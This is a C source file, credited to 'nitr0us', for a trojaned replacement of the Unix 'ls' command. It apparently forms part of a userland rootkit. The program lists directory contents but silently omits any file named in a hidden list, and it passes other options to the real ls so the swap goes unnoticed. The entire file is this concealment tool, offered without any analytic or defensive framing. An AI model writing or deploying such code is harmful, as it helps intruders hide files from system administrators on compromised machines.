/* The main() function
 *
 * Written by nitr0us
 *
 */

#include"e1e-e5e.h"

extern int opterr;
extern int alphasort();

int mode= 0;

main(int argc, char **argv){
	struct dirent **dir;
	int opt, nfiles= 0;
	opterr= 0; /* When invalid option, don't show the fuckin' error message from getopt() */

	if( argc == 1 )
		mode|= NORMAL;
	else
		while( (opt= getopt(argc,argv,"la")) != EOF )
			switch(opt){
				case 'l':
					mode|= LONG;
					break;
				case 'a':
					mode|= ALL;
					break;
				default:
					execve(LS_PATH, argv, NULL);
			}

	if( mode == ALL )
		mode|= NORMAL;

	nfiles= scandir(".", &dir, selector, alphasort);

	print_ls(nfiles, dir, mode);

	exit(EXIT_SUCCESS);
}

int selector(struct dirent *filentry){
	if( (mode == NORMAL) || (mode == LONG) )
		if( (strcmp(filentry->d_name, ".") == 0)
			|| (strcmp(filentry->d_name, "..") == 0)
			|| (filentry->d_name[0] == '.') )
			return HIDE;

	return ( hide_or_not(filentry->d_name) );
}

int hide_or_not(char *name){
	FILE *fp;
	char file2hide[256];

	fp= fopen(HIDE_FILES_LST, "r");

	while( fgets(file2hide, 256, fp) ){
		file2hide[strlen(file2hide)-1]= '\0';
		if( strcmp(file2hide, name) == 0 )
			return HIDE;
	}

	return SHOW;
}

